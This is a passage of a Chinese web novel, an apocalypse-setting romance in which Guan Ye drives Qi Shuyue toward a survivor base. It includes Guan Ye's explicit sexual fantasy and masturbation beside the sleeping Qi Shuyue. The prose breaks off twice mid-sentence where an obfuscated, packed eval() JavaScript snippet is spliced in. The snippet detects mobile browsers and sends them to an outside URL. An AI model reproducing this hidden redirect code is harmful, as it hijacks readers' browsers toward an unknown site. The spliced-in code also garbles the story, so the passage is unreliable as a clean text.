虽然其他状况仍然不明,但是向着聚集地靠近。将成为眼下的最佳选择。观野和齐疏月十分求稳,在符合条件的领域中筛选,竟也误打误撞选中了如今正逐渐成规模的大型基地“希望”——事实上,齐疏月根据已知剧情推测,这好像的确是后续主角观野会前往的目的地方向。好像有只隐形推手,在推动着剧情顺利前进那样。 于是在寂静黑暗的道路上,一辆斯宾特稳稳当当地前行着。 齐疏月之前倒是考了驾照,但只是C照,也没怎么自己动手开过车,这样中型车的驾驶重任也只能落在观野身上了。虽然观野说不累,但齐疏月也知道开夜车分明是很辛苦的事。观野让他去后排休息,他只顺势坐在副驾驶位上,当没听见观野说的话。 观野看了齐疏月一眼,默默将车顶打开,中间层调成透明玻璃状态。齐疏月一仰头,便能看见夜空星辰闪烁明亮,银光倾泄于身,是一种很温和坚定的明亮。 “好漂亮。”齐疏月分心去看,眼前是漫无边际的银色长河铺陈开来,像指引着前方道路。齐疏月眨着眼,忽然笑了一下,看向观野,“我们这样是不是也算在星空下漫步了?还挺浪漫的。” 观野从视线的余光中看见齐疏月在对他笑,很好看,心停骤然跳了一拍,好在他开车熟练近乎本能,不会出问题。 “……嗯。”观野应。 观野想说你在这里我会分心,好让齐疏月去后面的床上休息,但就是开不了口。 这种心理上的愉悦是难以违背的,观野无法说服自己不快乐,有齐疏月在身边陪着他,他就是觉得很幸福。 车内开了盏小灯,昏黄的光线给人难以言喻的安全感。不需要额外注意路况,齐疏月陪着观野的时候难免也无聊,这时候在图书馆搜集来的书籍就派上了用场。 随意挑选出一本民俗研究科普读物,齐疏月专心靠在座椅上翻动书页,观野便打开车内的阅读灯。 窗外的光芒和灯光一同落在齐疏月的身上,他银色的、披散的长发熠熠生辉,像凝聚了星光和月色一般,让观野的视线,也情不自禁地时不时落在他的身上。 很漂亮。 别人的月亮在天上,但对于观野而言,他的月亮就在身边。 最近齐疏月总是很容易犯困。 就像现在,他的书页已经许久没有再翻动一页了,眼睛不知不觉地闭上,睫毛在轻微地颤动着。 这时候齐疏月的意识,似乎游离在某种奇妙的清醒和昏睡的边缘,有点模糊懵懂,像陷入梦境当中,对外界的变化又仍有感知。就像现在,齐疏月察觉到观野停了车,俯身过来替自己解开安全带,并且将自己抱起来的时候,还模模糊糊地想着,今天下午的时候,观野是不是也这么抱着自己的。 他的手微微抬起,挂在观野的肩上,脸颊往他的怀中蹭。 观野动作好像轻微停顿了一下。 齐疏月很想说什么,比如说——他自己来就好了。但是太困了,怎么也张不开口。只能察觉到观野将自己放在了后方展开的床上,又重新取出了一床鹅绒被盖上来。 床垫好像略微下陷了一下,又很快恢复原状。观野只是给他掖了掖被子,就立即离开了。 车短暂停留,又一次重新发动。虽然仍开的稳当,但齐疏月在黑暗中蹙眉,有些许不安。 “……观野。”唇瓣翕动,发出的也近乎是气音,像是梦中呓语。 但齐疏月没想到,几乎是下一瞬间,车又停了下来——观野来到他身边,询问怎么了。 居然听见了。 于是齐疏月睁开眼,那眼中其实全是困倦雾气,视线也集中不了焦点,只隐约察觉到观野就在身边,于是很茫然地伸出手,想拽住什么……指尖落空了,但下一秒观野又主动握住了他落空的手指。 “嗯?” 齐疏月缓了一会,下意识地往鹅绒被里钻,和猫往箱子里钻要猫冬似的,只露出银发和一点凝白如玉的耳朵在外面,声音闷闷地传来:“不要开车了,能不能和我……一起睡。” 这个要求确实有点任性,齐疏月想。 而且他一个成年人,非要人陪着睡,也实在有点古怪了。 所以齐疏月几乎是本能地想起,之前实在是用过很多次的借口—— “太冷了。”齐疏月躺在开着适宜温度空调的车内,盖着暖融融的鹅绒被,闭着眼睛说道。 “……”观野大概沉默了有一会。 此时的他,并未提出“那我把空调调高一点”这样聪明的主意。只是在短暂犹豫后,利落地脱掉了衣服,穿着干净的工字背心也一同躺进了柔软的床铺当中。 鹅绒被轻飘飘的,内里十分温暖。这暖意顺着一股很淡的香气攀爬上观野结实的肌肉,让他的身体更显得僵硬,直板板的好像是什么大号的健身器材似的。观野眼睛一眨不眨,分明停着不动了,但是心跳声却越来越剧烈。 齐疏月靠过来了。 共盖着一床被褥,齐疏月的面颊轻轻地靠在观野的肩膀上,呼吸也浅浅拍打在皮肤上。 炙热,又滚烫。 观野眼睛一眨不眨,片刻后他迅速地转移开了视线,盯着头上的星空顶。 无处可去的热意令他备受煎熬,几乎发疼。 某种程度上而言,很煎熬。 但还是很幸福。 根据观野从前的经验,只要不管它,过几个小时就会归于平静。但或许是这会离齐疏月实在太近,氛围又实在太好,观野盯着星空顶看了很久,万物仍旧萌发,没有丝毫要蛰伏的意思。 很难熬。 不仅是出于生理上的,更多是出于心理上的煎熬。 观野从前对这方面可以说毫无需求,甚至被以前的同伴怀疑为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010550|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性冷淡。 毕竟他们的前半生充斥着危机、血腥和暴力,过剩的精力和岌岌可危的精神状态总是需要发泄口。用格斗,或者性。但因为执行的都是在死亡边缘徘徊、保密性极高的隐秘任务,他们这些杀戮机器被严禁接触外界,自然也不可能接触到漂亮的男人或是女人。 以至于在总是斗殴的同时,那些人简直性.压抑到了某种境界,将那些违规带进来的色.情杂志或是小说翻得破破烂烂,还很友好地邀请观野来看。 观野不屑一顾。 他在这方面显得很容易被冒犯似的,既不热衷于暴力的互殴,也不关注性,简直是个怪胎。如果不是因为实力是巅峰者级别的,是很容易被孤立的类型。 饶是观野本身如此孤僻,他也无意中瞥见过那些艳.情小说,对这类知识有一定的了解。在此时此刻,往常匆匆掠过的记忆在脑海当中翻江倒海地浮现出来。 那些低俗的、直白的、露骨的文字,过分夸张的色.情形容好像都凝聚成了具体的画面那样,只是在观野的脑海当中,画面中的脸如此清晰起来。雪白柔软的面颊,漂亮得不可思议的五官,在额心偏左,会有一点很淡而小的红痣,在晃动起来的时候,柔顺而明亮,像凝聚着一段月华的银发也会跟着晃动。 观野难以自抑地会想起来,自己将变成怪物的那一天。 齐疏月坐在他的身上,拥抱住了他。 他弓起身,脸可以靠在齐疏月的胸前。 此时的这一幕在观野的幻想中,自然被赋予了别样的设定,至少齐疏月不再是穿着那身毛茸茸的可爱睡衣了。 曾经落在他手中的,单薄的浅灰色的丝绸上衣,在此时代替了猫猫睡衣。 丝绸的布料下,隐约能看见少年人奶白色的,玉一般莹润的肌肤。齐疏月的腰肢很纤细,清癯,漂亮,但却拥有着与那娇气的外在不同的,强大稳定的力量。 黑夜中,他是观野唯一的月亮。 而幻想中的观野,强行挣断了捆绑住他的绳索。 这样的幻想当然是不伦的,下.流的,放.荡的。观野反省着。 观野一边这样赎罪反省,一边侧过身,紧紧盯着齐疏月安稳的、熟睡的漂亮面容。 在被子底下,他的手微微拢起,肌肉鼓胀,青筋暴起。 观野的神色相当具有攻击性,看上去很凶,眼底积蓄的黑凝结为某种浓重的欲.色,又像是某种凶戾的煞意。眉头紧锁着,仿佛很不耐烦——如果这时候的齐疏月醒过来,大概会被此时的观野给吓到。 哪怕只是聊胜于无的小心举动,依旧在极为寂静的空间当中显得很响亮。 外面不知何时下了雨,从车边缘滴落的雨水,盖过了黏腻的水声。 齐疏月好像听见了什么,被水声吵醒,梦呓般“唔”了一声,于是观野一下停了下来,紧紧地盯着齐疏月的脸,观察着哪怕一丝一毫的神情上的轻微变化——这一刻,大概比观野曾经执行的无数命悬一刻的危险任务,都更令他肾上腺素极速飙升。 万一被齐疏月发现了,要怎么办? 在略微急促起来的呼吸中,观野那双黑沉眼睛里,隐约掠过一丝暗红。 23.末世篇(23) 齐疏月自然没有发现。 观野一夜未眠,精神尚可,只是之前他那么直白地盯着齐疏月的脸进行幻想,在天际微白,理智值渐近回归的时候,再看着齐疏月的脸,竟难得生出些近似于心虚、又有些像是害羞回味的情绪来,目光一触即离,颇为回避着不敢多看。 不然很容易回忆起昨夜的那些……奇思妙想来。 齐疏月倒没察觉到什么异常,他只记得自己半梦半醒间找了个很别扭的借口,让观野陪着自己一起入睡。 他也的确休息的很好,就是昨夜好像下雨了,一直有滴滴答答的黏腻水声在耳边。 偏齐疏月醒来后去车外透气,只望见一片薄雪未曾消融,不见小雨淅沥落下的痕迹了,真是奇怪。 另一边,观野已经搞定好今日的早餐。他煎出四块焦香的面包皮,夹上煎蛋、牛柳和新鲜生菜,另外打出了一杯豆浆递给齐疏月。齐疏月再次赞叹了一下观野的万能,连豆浆机都准备上了。两人一同分享完早餐,观野又喝掉了齐疏月剩下的豆浆。 一切好像都和平日里没什么分别。 但再次上车的时候,齐疏月还是忍不住在想——观野今天好像有点不太一样。 话特别少。 当然,其实平时观野的话也不算多,但今天好像就是不大一样,平时总是事事有回应的人,这会说话却只是很简短的几个音节。 偶尔有肢体接触,像是给自己递豆浆的时候,观野好像有意回避,手收回去的很快。甚至今天,他们连视线都没怎么交汇过,观野总是漫不经心地瞥他一眼,很快便转移目光,专心做自己手上的事,或收拾他们留下来的一些用具,又或者重新校正路线方位。 就是不看自己。 总之……很奇怪。 要是换在之前,齐疏月也不会有多在意,毕竟炮灰和主角好像生来就在某个对立面上的,观野讨厌他也情有可原。 可是、可是,或许是他自作多情,齐疏月分明觉得,他们之间的关系好像有所转变了。从度过危险的异能期后,观野对他越来越好,以至于在这种情况下,齐疏月不久前,还很认真思考过两人间的关系到底何去何从——哪怕迟早会走到分道扬镳的结算点,齐疏月也觉得做好了准备。可现在这一切来的,实在是太突然,也太快了。 齐疏月不知道出了什么问题,他只是有一点很微小的,伤心。 也或许这才是正确的剧情走向? 齐疏月恹恹地想。 就像他们现在也准备前往基地那样,一切都会隐隐回归正轨。 他不会开车,没有异能,不能杀丧尸,现在连生活上的一切好像都由观野包办了,观野对着自己这样不事生产的小少爷产生厌烦之心也是理所应当的,没有人会喜欢一个拖累……啊,自己昨天还拉着观野一起陪睡,耽误了晚上的赶路进程,或许是因为这个原因? 也只有这样,似乎才符合系统所说的剧情。主角对他的耐心,在这种微小的细节当中,日复一日地消解,直到积攒够了不耐和失望,才会在最后一个“作死任务”上彻底爆发,导致两人分开,没有自保之力的炮灰在末世中丧命的场景。 齐疏月认为自己已经想明白了。 如果他想改变这样的处境,至少在这个时候开始,就要想办法弥补两人间的关系才行——但齐疏月当然没有。因为他想明白的是,这才是他作为“炮灰”,应该承担的角色设定才对。 所以从这个时候开始,齐疏月更加变本加厉地肆意发挥出自己的“娇纵”本性来,开始什么都事事使唤着观野,简直称得上随心所欲。 在末世这样极端缺乏资源的环境下,因为攒了一随身空间的各类物资,齐疏月每天都会很挑剔的点餐,要最新鲜的食材做成的热腾腾的食物才行,简直是将观野当成五星大厨来要求(虽然不这么要求观野好像也在这么做)。开车赶路太久也不行,会晕,所以必须得停下来休息一阵,有时候就在车上看书,有时候要下车去散心——虽然附近没什么可逛的地方,但就是要观野陪着自己,因此也大大拖延了行程。另外虽然天气寒冷,但是齐疏月想要洗热水澡,让观野硬生生搜集几个路过的区域,想办法借用储备的露营工具搭建出了移动的临时淋浴间配备洗澡桶,唯一的缺陷就是观野的能力用来烧热水倒是可以,但做不到持续恒温地加热,只能提前准备好一桶又一桶的热水,十分担心齐疏月会为此而着凉。 观野从来只做不说,几乎没看见他有怨言的时候,以至于哪怕齐疏月的目的是让他讨厌自己,更认清自己的“本性”,还是偶尔会因为自己太过造作而有点不好意思。 谁叫观野哪怕是那种看上去很凶、不好惹的脸,但齐疏月就是没见过他生气发火的时候。 齐疏月也知道他们现在最缺的,其实是水资源。在仓库里虽然收了近百桶的矿泉水,但水这种必要资源用起来实在快,齐疏月也就最开始造作了两下,后来也就是每每能找到干净的饮水点的时候,才想起来要折腾下观野。 可就算是这样,齐疏月偏偏觉得,在那天奇怪的冷漠过后,观野好像又重新愿意接触起自己了。 齐疏月茫然,不解,最后放弃思考。 得出的结论也只能是主角好像天生就能点满扮猪吃虎技巧,当然不能随便被炮灰猜测出自己心中所想。又或许就是观野那该死的、恨不得给人当爹的责任心又大大发作了。 其实对观野而言,他也很有一段内心煎熬不定的阶段。 一开始只是意识到,齐疏月好像不大高兴。 这种不高兴,观野是从一些非常细微处看出来的。 比如齐疏月的情绪好像有点低落,眼睛微垂,唇角的弧度似乎比平时下降两个百分点,也不像以前那样爱笑,翻书比平时慢两页,好像连食欲都有所缩减。无精打采,像是因为生病蜷缩在角落默默舔毛的猫。 观野很心疼。 但这也是他第一次没直接莽撞地向齐疏月发问,因为观野隐约意识到,齐疏月的不高兴,好像……是因为自己。 要说最容易引起这一切的导火索,大概就是他在那天夜里的越界。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014306|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>齐疏月发现了吗? 是事后闻到了车里的气味,还是看见了他扔掉那条根本洗不干净的内.裤? 又或者,干脆就是从自己掩饰不住的、像是想要侵.犯他的充满攻击性的眼神里,察觉到了端倪? 纵使观野在有关齐疏月的事上都是很长嘴的,但是让他上前去询问齐疏月,是不是因为发现了自己在对他自.慰的事所以不高兴,还是稍微有点突破观野的道德底线了,直接导致他难得的做了锯嘴葫芦。而就在观野因为齐疏月已经不高兴了一整天,晚上都少喝了一杯牛奶要忍不住去负荆请罪的时候,齐疏月又好像自己调整好了状态,比以前……更加黏人了。 不管做什么都很愿意让自己跟在身边,黏黏糊糊地不会分开。嘴边也总是挂着自己的名字,这里要喊观野、那里会喊观野——每次观野听见齐疏月喊自己名字的时候,心脏也总是会急促地多跳几拍,身体里仿佛涌动着某种难以消耗抒发出来的强壮精力,让他做什么事好像都更有力气了。 而现在的齐疏月更需要自己,也很会向自己撒娇,会拉着他一起去无人地探险,去星光或月色下散步,齐疏月的每一件事,不论大小,都能被自己一手包办——而这是齐疏月给他的权利。 齐疏月愿意的,给他的。 这让观野某种微妙的癖好得到了满足,也让他在这其中寻找到了某种安定。 观野一直害怕身边环境的剧烈改变会让小少爷觉得不安,以至于太过委曲求全。因为喜欢,所以观野会觉得齐疏月的乖巧听话很可爱,很心生怜爱,但这又不是一件好事。观野更愿意他任性一点,依赖自己一点,不要为外界的变化,而强行被催熟拉扯。 而现在齐疏月的主动靠近和依赖,让观野感受到某种突然的幸福和惊喜……像是很娇气又很爱干净的猫,愿意主动接近一身血腥凶戾的自己,哪怕被弄脏皮毛也没关系那样地转了几圈窝在自己的怀中那样。 很喜欢。 很幸运。 齐疏月以后就算不喜欢自己,也离不开自己。 就这样沉溺其中,永不分别。 在这种巨大的幸福冲击下,观野也未曾注意到更多异样,只是很认真地和齐疏月过好每一天。 剩下的唯一烦恼,大概就是他每晚都会起生.理性.的反应,但因为不想让齐疏月发现,矛盾重演, 所以即便每日硬如磐石,也不会再碰一下。 只是早上总要起得很早,默默冲洗内.裤。 本该千难万险的路程,两人一路上顺利得却不可思议,黏黏糊糊的更像是蜜月旅行一般。偶尔碰到一些难缠的丧尸,还没等它跑到面前弄脏车,就已经被很有经验的观野利用空间异能隔空弄死了以至于齐疏月的主观观感上觉得可能是他们挑选的道路人少碰不到什么丧尸,或者干脆就是观野的主角光环发挥了效力——直到有一天,原本到了他们约定俗成(?)的饭后散步环节,观野却像察觉到什么一般,神色显得严肃冷冽起来,立即便牵住了齐疏月的手。 “先上车。”观野说。